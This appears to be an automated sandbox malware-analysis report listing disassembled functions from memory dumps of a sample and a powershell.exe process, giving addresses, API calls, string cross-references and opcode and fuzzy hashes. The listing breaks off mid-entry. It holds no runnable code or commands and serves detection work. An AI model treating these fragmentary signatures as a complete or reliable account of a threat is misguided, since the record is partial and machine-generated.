WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00FE04D5

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: 85fa7adb38a599aa55427cca2aa91e6ba2bbf2718f175bd8c9f882a4e75911a4
Instruction ID: 3037b4647e7fafba64e85ec39cac13ce3e4f776b2114f581987ad352ad9b51e9
Opcode Fuzzy Hash: 85fa7adb38a599aa55427cca2aa91e6ba2bbf2718f175bd8c9f882a4e75911a4
Instruction Fuzzy Hash: 29D02E3180813127DA126324AC0EEAE38078B22330F258B1DF2B5A43EECE290CC092D1

Function 00FDD6C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00FDCFBE,?), ref: 00FDD6C6
FindResourceW.KERNEL32(00000000,RTL,00000005,?,00FDCFBE,?), ref: 00FDD6D4

Strings

RTL, xrefs: 00FDD6CE

Memory Dump Source

Source File: 00000010.00000002.2716128477.0000000000FD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000010.00000002.2716022294.0000000000FD0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.000000000100D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001014000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716234639.0000000001030000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000010.00000002.2716361682.0000000001031000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_fd0000_PACK.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: 9ea1da3842997f472352c350b7d94c31ad9d32ac897b5328af09efbc0ebc4099
Instruction ID: 9df10a6fc664b9a24618dc2c6b780703c4093e61d6ad242ade5b485dcf1355ed
Opcode Fuzzy Hash: 9ea1da3842997f472352c350b7d94c31ad9d32ac897b5328af09efbc0ebc4099
Instruction Fuzzy Hash: A5C0123168131266EB325B316C0DF832A4A6B04B22F190449B2C5DA2C5DEAAC844C7A0

Analysis Process: powershell.exePID: 1260, Parent PID: 3756COMMON

Executed Functions

Function 07682308 Relevance: 32.9, Strings: 25, Instructions: 1651COMMON

Download Yara Rule

Strings

4'^q, xrefs: 076831C0
pipj, xrefs: 07682582
tP^q, xrefs: 0768305C
pipj, xrefs: 07682363
4'^q, xrefs: 07682EF8
|,rj, xrefs: 076825DB
$^q, xrefs: 07682CE0
4'^q, xrefs: 07682619
$^q, xrefs: 07682CEC
tP^q, xrefs: 07683068
pipj, xrefs: 07682416
$a%k, xrefs: 0768357C
4'^q, xrefs: 07682BDB
pipj, xrefs: 076823B0
tP^q, xrefs: 07682D31
$^q, xrefs: 07682CBA
4'^q, xrefs: 076831B6
4'^q, xrefs: 07682EEE
$a%k, xrefs: 076835F7
tP^q, xrefs: 07683330
4'^q, xrefs: 07682BE7
pipj, xrefs: 076823A0
tP^q, xrefs: 07683324
4'^q, xrefs: 0768260D
tP^q, xrefs: 07682D25

Memory Dump Source

Source File: 00000011.00000002.2324755369.0000000007680000.00000040.00000800.00020000.00000000.sdmp, Offset: 07680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7680000_powershell.jbxd

Similarity

API ID:
String ID: $a%k$$a%k$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$pipj$pipj$pipj$pipj$pipj$tP^q$tP^q$tP^q$tP^q$tP^q$tP^q$|,rj$$^q$$^q$$^q
API String ID: 0-636322440
Opcode ID: fc33ebb0b9ac7311dca17b8a81ae94f899daf7ed5aadc8443d31b2e508f6bd17
Instruction ID: 9278dc0d24b838f16fc3a26704f671364845608186fe711a928c8af9245d8dda
Opcode Fuzzy Hash: fc33ebb0b9ac7311dca17b8a81ae94f899daf7ed5aadc8443d31b2e508f6bd17
Instruction Fuzzy Hash: 97C258B1B003069FCB65AB79D8207AABBE6BF85710F14826AD506CF351DF35C885C7A1

Function 048CB551 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3be447b572f46b56cce6f52f092d7eaf2d30f5245bcad96360a90cf0cdef6bef
Instruction ID: cde91a8daf7f8d6dfabf80deec14062faf6a223958eb0b9fbca2458375b063f1
Opcode Fuzzy Hash: 3be447b572f46b56cce6f52f092d7eaf2d30f5245bcad96360a90cf0cdef6bef
Instruction Fuzzy Hash: FD91A571F006195BDB1AEFB4C5145AEB7A3DF84708B04892DD24AAB350DF74AD0ACBC6

Function 048CB560 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b53fc2f890e731e68f583f73045f69297e0d24eda07aaab55a237b002f587a27
Instruction ID: 7c63af0875040ac904b0f1f50143327cb10d0efc7b2c7fff7045567bf758851b
Opcode Fuzzy Hash: b53fc2f890e731e68f583f73045f69297e0d24eda07aaab55a237b002f587a27
Instruction Fuzzy Hash: 92919771F006195BDB19EFB4C5145AEB7E3DF84708B00892DD24AAB354DF74AD0A8BC6

Function 07683CE8 Relevance: 5.6, Strings: 4, Instructions: 577COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07684030
4'^q, xrefs: 07684026
4'^q, xrefs: 07684180
4'^q, xrefs: 0768418A

Memory Dump Source

Source File: 00000011.00000002.2324755369.0000000007680000.00000040.00000800.00020000.00000000.sdmp, Offset: 07680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7680000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q
API String ID: 0-1420252700
Opcode ID: f994ffafc034b4cd03a07b9aafd61060d561f61dcb5e2ae576bc2b30e47a0f0e
Instruction ID: 4c71aa5b09538e7ad25ef1f4e1b513abb2c64096c1c4553287e94fab3fdb2c52
Opcode Fuzzy Hash: f994ffafc034b4cd03a07b9aafd61060d561f61dcb5e2ae576bc2b30e47a0f0e
Instruction Fuzzy Hash: 071222B1B043468FCB65AB79980076BBFA6AF81710F24817AD5468F351DF36C882C7A1

Function 048C70A0 Relevance: 1.4, Strings: 1, Instructions: 113COMMON

Download Yara Rule

Strings

(bq, xrefs: 048C71C5

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: faea30b9504c2f9d062f284b266a3ff3796643af4d9219e1bd8ed0d550f771fc
Instruction ID: b18a13ac288d8261404c3f812cb5d0de9a1c42bb2d9bc5c9d2662e674006be99
Opcode Fuzzy Hash: faea30b9504c2f9d062f284b266a3ff3796643af4d9219e1bd8ed0d550f771fc
Instruction Fuzzy Hash: 5D415934B042098FDB14DF68C954AADBBF2EF89311F2484A9E406EB391DA35EC01CF61

Function 048CE890 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

pipj, xrefs: 048CE8E7

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID: pipj
API String ID: 0-2401599135
Opcode ID: c2a4b4698e4e62d0b7fb19c71289f484dcb815a59973b077d3de92063763c6f4
Instruction ID: 9abebb3522fbf9798fcb1b595ce20c54cc7beaa1e5725a5e7f5474f45622b901
Opcode Fuzzy Hash: c2a4b4698e4e62d0b7fb19c71289f484dcb815a59973b077d3de92063763c6f4
Instruction Fuzzy Hash: C5417C30A012458FCB11DF78D954A9EBBF2EF89204F148569D446EB3A2CB34AC49CBA0

Function 048CE8C0 Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

pipj, xrefs: 048CE8E7

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID: pipj
API String ID: 0-2401599135
Opcode ID: b00a6f5d27f8ada6c2f7434d8a8b8634dee49826f898ab44a2b985a9dfd86c63
Instruction ID: c07cba8c88d362b0d977647653aea985a043378228573238e3f0c65904be92b0
Opcode Fuzzy Hash: b00a6f5d27f8ada6c2f7434d8a8b8634dee49826f898ab44a2b985a9dfd86c63
Instruction Fuzzy Hash: 70314B30A00605DFCB15DF69DA54A9EBBF2FF88304F108A29D416E7395DB34AD49CB90

Function 048CB068 Relevance: 1.3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

(&^q, xrefs: 048CB08A

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID: (&^q
API String ID: 0-2067289071
Opcode ID: b5e0fd6d08b3ebb7fd8efdb39e32eda207ca70d0e4b21843b2365326c33904fc
Instruction ID: 4e59313f812444336ecfd0e331026381dc0bbd9f64e5e9b798197377e03108c6
Opcode Fuzzy Hash: b5e0fd6d08b3ebb7fd8efdb39e32eda207ca70d0e4b21843b2365326c33904fc
Instruction Fuzzy Hash: AF21AE75A042588FCB14DFAED80479EBFF5EB88320F14886ED458E7350DA75A805CFA5

Function 048C29F0 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9b84308aa076db16d560e302ce10552e51f26ca75fd634f5b2258f0fc03bb36
Instruction ID: c6093cb6cb9690a0e455607724cfa6ef74a5c85f07a0e03be5d89b822a71f468
Opcode Fuzzy Hash: f9b84308aa076db16d560e302ce10552e51f26ca75fd634f5b2258f0fc03bb36
Instruction Fuzzy Hash: 33915C74A006498FCB15CF59C4949AEFBB1FF48310B248AA9E855EB3A5C735FC91CB90

Function 0768196B Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2324755369.0000000007680000.00000040.00000800.00020000.00000000.sdmp, Offset: 07680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7680000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f4cf44ebf9753034d5aec0c010c36a9dc7c04081c81f29beed67375a7e353a3
Instruction ID: 7dac24052bfb8fd67b13ef3fcf5e363fd4a0ce19bf51044b04aff1ea1de28ba7
Opcode Fuzzy Hash: 6f4cf44ebf9753034d5aec0c010c36a9dc7c04081c81f29beed67375a7e353a3
Instruction Fuzzy Hash: A8514DB170434A9FCB58AB79D4006A6BFE2AF87210F1881AFD506CF352DA35CD56C3A1

Function 048CBB90 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13ce4a0a2cf0659c9c81f55c22c488d12b7d298a3f2f97ce1e3e21453b30f090
Instruction ID: 91bafa54cb60f974a02bd61655f7d4ab83c4d66f927316800abc8708b3c55514
Opcode Fuzzy Hash: 13ce4a0a2cf0659c9c81f55c22c488d12b7d298a3f2f97ce1e3e21453b30f090
Instruction Fuzzy Hash: F2611671E002488FCB14DFA9D584A9DFBF2FF88310F14856AE919AB365EB34AC45CB50

Function 048C7800 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0482d993381371f115fe733c81163bd0186f290067f3253c8c4533b057a622d5
Instruction ID: 69878af63ac23c9c17a8fcf6e12352cb560d5b5e2c3799115610879c6ef0986e
Opcode Fuzzy Hash: 0482d993381371f115fe733c81163bd0186f290067f3253c8c4533b057a622d5
Instruction Fuzzy Hash: 65518C353002069FD704AB69D844A2ABBEAFFC8354F14896EE609CB351EB35EC01CB91

Function 048CBB80 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53c4172bb101de0ae9a8a7bbb6001e531d0db9c0c31b78355c89d54aa8108acf
Instruction ID: c18817e75bd84b0a49720bf9d8470134867d0b21ca877189e1870f76eb5418de
Opcode Fuzzy Hash: 53c4172bb101de0ae9a8a7bbb6001e531d0db9c0c31b78355c89d54aa8108acf
Instruction Fuzzy Hash: 4A511670E00248CFCB14DFA9D584A9DBBF2EF88710F148569E919EB365EB34A845CB50

Function 048CE699 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59d27f835f111556246b06f1da16354f01b5de9a73d552c406f4f2628715a429
Instruction ID: e9c0c261a323ea8fde352dcc1250f5a4350c785a79d3d031d3d3a55eab2f144b
Opcode Fuzzy Hash: 59d27f835f111556246b06f1da16354f01b5de9a73d552c406f4f2628715a429
Instruction Fuzzy Hash: 5C515F347402058FCB10DF6CCA9492ABBE6EFD8354B1585A9E549CF366EB34EC05CB50

Function 048CE6A8 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 164255c602b81c52664506184b7bdce10c96e85a1d51d021445a7c857ff679e6
Instruction ID: dcdf6ae686906d9b4c81f8d7187b7d3da68d21ce065b1f21dbaea7c29859c730
Opcode Fuzzy Hash: 164255c602b81c52664506184b7bdce10c96e85a1d51d021445a7c857ff679e6
Instruction Fuzzy Hash: E24129387402058FCB10DF6CCA9492ABBE6EFD8355B158969E549DF369EB34EC01CB90

Function 07683CCC Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2324755369.0000000007680000.00000040.00000800.00020000.00000000.sdmp, Offset: 07680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7680000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f140efefff3824c510eaf6d2766495b64b1eaf796e756b78f5e2bdb888c55d03
Instruction ID: fbcbcda978d64ff6d651b609221ad77b1914a52ac8c2f8954ea3ef727334c697
Opcode Fuzzy Hash: f140efefff3824c510eaf6d2766495b64b1eaf796e756b78f5e2bdb888c55d03
Instruction Fuzzy Hash: B841E9F0A003028FCBA5AE36C50577E7BB6AF80B50B14429BD5029F356DB35DC85C7A1

Function 048C7070 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de5d4f0f79dfabaa3e11e0b17e03b6d6501bb5941b65c23efbd43474bfb704ce
Instruction ID: b87511243da418e4ab297d2b1cc4e729f9e4ccca8b7379a88724098c03b967f9
Opcode Fuzzy Hash: de5d4f0f79dfabaa3e11e0b17e03b6d6501bb5941b65c23efbd43474bfb704ce
Instruction Fuzzy Hash: AC418F34A052468FCB15CF64C9549AABFF1AF8A310F29459ED441EB3A2DB30EC45CF61

Function 048C2B00 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2ee6bc5244c0a022b0e025460df6d4d39a715b17284380190a191adefe16670
Instruction ID: a4e9ed00816ca9e985079fbfe479312d415d8d6847b463d40e531ce8de51a623
Opcode Fuzzy Hash: c2ee6bc5244c0a022b0e025460df6d4d39a715b17284380190a191adefe16670
Instruction Fuzzy Hash: 154126B4A005058FCB05CF58C5989AAFBB1FF48310B158AA9E855AB3A4C736FC51CFA4

Function 048CC458 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cefe0176337050e9f78cda94e1ebec6b403ad841922684fc111140eac897242d
Instruction ID: b25bf7e4d2f8ae308481bc2ecddc7c5f97fd0b87c4b438e7d964da76244bb7f8
Opcode Fuzzy Hash: cefe0176337050e9f78cda94e1ebec6b403ad841922684fc111140eac897242d
Instruction Fuzzy Hash: 4B3189313002018FC705AB38E954A9AF7A6EFC4725F00863DE60ACB366DB70E885CB91

Function 048CAF2F Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d43845398f59e7239178b2caae5b18131c036ce9b9fbf6b5c594d278752e7a1
Instruction ID: abda912ea696650639bcf4367ff123cda96855ef40a0462e8b7a84502d364f55
Opcode Fuzzy Hash: 4d43845398f59e7239178b2caae5b18131c036ce9b9fbf6b5c594d278752e7a1
Instruction Fuzzy Hash: 37318D70A002098FDB05DF6DD5947AE7BF2AF89310F04856DE405EB361EB759C41CB61

Function 048CAF40 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1daa57ba169224535e880255a6eef721f518d982770843e0fa135fa1f57abdf6
Instruction ID: da941427e9a3534fef7faec5afdd67ec8deae059b5e8ed7ae61cfa3781b2a10b
Opcode Fuzzy Hash: 1daa57ba169224535e880255a6eef721f518d982770843e0fa135fa1f57abdf6
Instruction Fuzzy Hash: 60316D70A002099FDB08EFADD5947AEBAF6EF88310F14852DE405E7350EB75AC41CB61

Function 048CE241 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4acf0d2dffeee6b5a04f34e46c2e420135b79678395ac406a79b3e683094d23c
Instruction ID: 92c744b073e004226e5c4f44cbfb8a08a331916fcb245f7cfa8b2083dd5bea08
Opcode Fuzzy Hash: 4acf0d2dffeee6b5a04f34e46c2e420135b79678395ac406a79b3e683094d23c
Instruction Fuzzy Hash: 23313730A002048FCB14DF68D598AAEBBF2EF89614F04996DD406EB3A1CB74AC45CF90

Function 048CADF8 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e37ae23b2d94b56b01a285b945c8ded3bdf457c9d1ecc4de5f5aae20d47d7c48
Instruction ID: 4ca8bce054f2c270dbbce39f0fb20d2924dff47c62b59446c3d9fc3f736634d4
Opcode Fuzzy Hash: e37ae23b2d94b56b01a285b945c8ded3bdf457c9d1ecc4de5f5aae20d47d7c48
Instruction Fuzzy Hash: 503181B4E002099FDB04EBA4D958AAEBBB3EF84704F1185B9D205AB3A5DB35DD05CF50

Function 048CE250 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9379bb1c01cc7ddb3b486dfbd4100e046fb2f6a4e5e43e6baf4e8e934758db7e
Instruction ID: 865f660eda1053b175392aa10fe61d4c99536d3763a94ec6adf1e69778cfd6ac
Opcode Fuzzy Hash: 9379bb1c01cc7ddb3b486dfbd4100e046fb2f6a4e5e43e6baf4e8e934758db7e
Instruction Fuzzy Hash: 48312770A002048FCB14DF69D958AAEBBF6FF89714F04996DD406EB3A0DB74AC45CB94

Function 048CAE08 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64038a4ed486c7ce9d8862410577ab1e862c1bf701881477244c149aae3e9ee8
Instruction ID: a747677b1ddde41a63c1dacf80b9db78717a061538063e8c416b284b8100bc77
Opcode Fuzzy Hash: 64038a4ed486c7ce9d8862410577ab1e862c1bf701881477244c149aae3e9ee8
Instruction Fuzzy Hash: DE3180B4E001099FEB04EFA4D858AAEB7B3EF84704F1184B9D214AB3A4DA35DD01CF90

Function 02F8F400 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2312687907.0000000002F8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f8d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a63ab044aaed0272b80af859a44128b07c3c333e7e74b5cdb6f0c9c1a70cfc1
Instruction ID: 7dd922aefd47c3ba8ad8137d6598d9b75a782ee1ae6a435947ee3d9f4b724a0a
Opcode Fuzzy Hash: 9a63ab044aaed0272b80af859a44128b07c3c333e7e74b5cdb6f0c9c1a70cfc1
Instruction Fuzzy Hash: D6210376A00200DFDF05EF14DAC4B26FF65FB88314F64C6AAEA094A656C336D456CB61

Function 048C94C1 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7054f437ea4961745cb52c7eb78c9de811736335161819485a847e0b7adee952
Instruction ID: 3a8ca067846ea27e46ce3c6a3be14ecc97eb160059ab86af6f4c46002c23da07
Opcode Fuzzy Hash: 7054f437ea4961745cb52c7eb78c9de811736335161819485a847e0b7adee952
Instruction Fuzzy Hash: 5A31D1B49053448EDB60CF6AC0883CAFFF2EF88324F28C59DD44D9B206D670A485CB61

Function 02F8F054 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2312687907.0000000002F8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f8d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc35c421943176b2dd9ec35ead2f1f1ce9a2a1d3cd0632a51b2335a44b79f117
Instruction ID: 11819987fccdaa20d53162d9c941dc0fd9508413cef7af27d2adc1a316b600ad
Opcode Fuzzy Hash: fc35c421943176b2dd9ec35ead2f1f1ce9a2a1d3cd0632a51b2335a44b79f117
Instruction Fuzzy Hash: 34213471A04200DFDB10EF14D9C0B26FBA1FB84714F60C66DDA494B652C33AD446CA61

Function 048C94D0 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3498f245ac4a570b8d8bb055ff4484643e5d1c167557a7d2118d40f58fa3f2bb
Instruction ID: 94fb78ffe6fa7017237cef2f811bfb3f27642040cd32104f54b8f159349738d3
Opcode Fuzzy Hash: 3498f245ac4a570b8d8bb055ff4484643e5d1c167557a7d2118d40f58fa3f2bb
Instruction Fuzzy Hash: B3217CB4A057448FEB60CF6AC48838AFFF2EB88324F28C55DD85D97205DA74A4818B61

Function 048C773C Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64a9efcd445b2edcf8b8977233c78f615620efb614b9f4241706c483fa1c1907
Instruction ID: 122daac8ecabfa0f26ab33c8ce7a98f74b471ed4bef096849edd318a886d37f6
Opcode Fuzzy Hash: 64a9efcd445b2edcf8b8977233c78f615620efb614b9f4241706c483fa1c1907
Instruction Fuzzy Hash: F1114939B001188FCB00DBA8D9409AD77F6EBC8721B0040A8E509EB724DB31EC058BA0

Function 02F8F3FB Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2312687907.0000000002F8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f8d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79dce3b17262197862dc675c89663dba3b213f311fe42b56b3e9cd056900bbd2
Instruction ID: 19e7de30edda7ae5ddae09c7f64337b3feb1eda4c96e432e4c4636b62d253faa
Opcode Fuzzy Hash: 79dce3b17262197862dc675c89663dba3b213f311fe42b56b3e9cd056900bbd2
Instruction Fuzzy Hash: 6A219D76904240DFCB06DF50DAC4B16FF72FB84314F24C6AADE094A656C33AD46ACBA1

Function 048CF641 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2313346183.00000000048C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_48c0000_powershell.jbxd

Similarity

API ID:
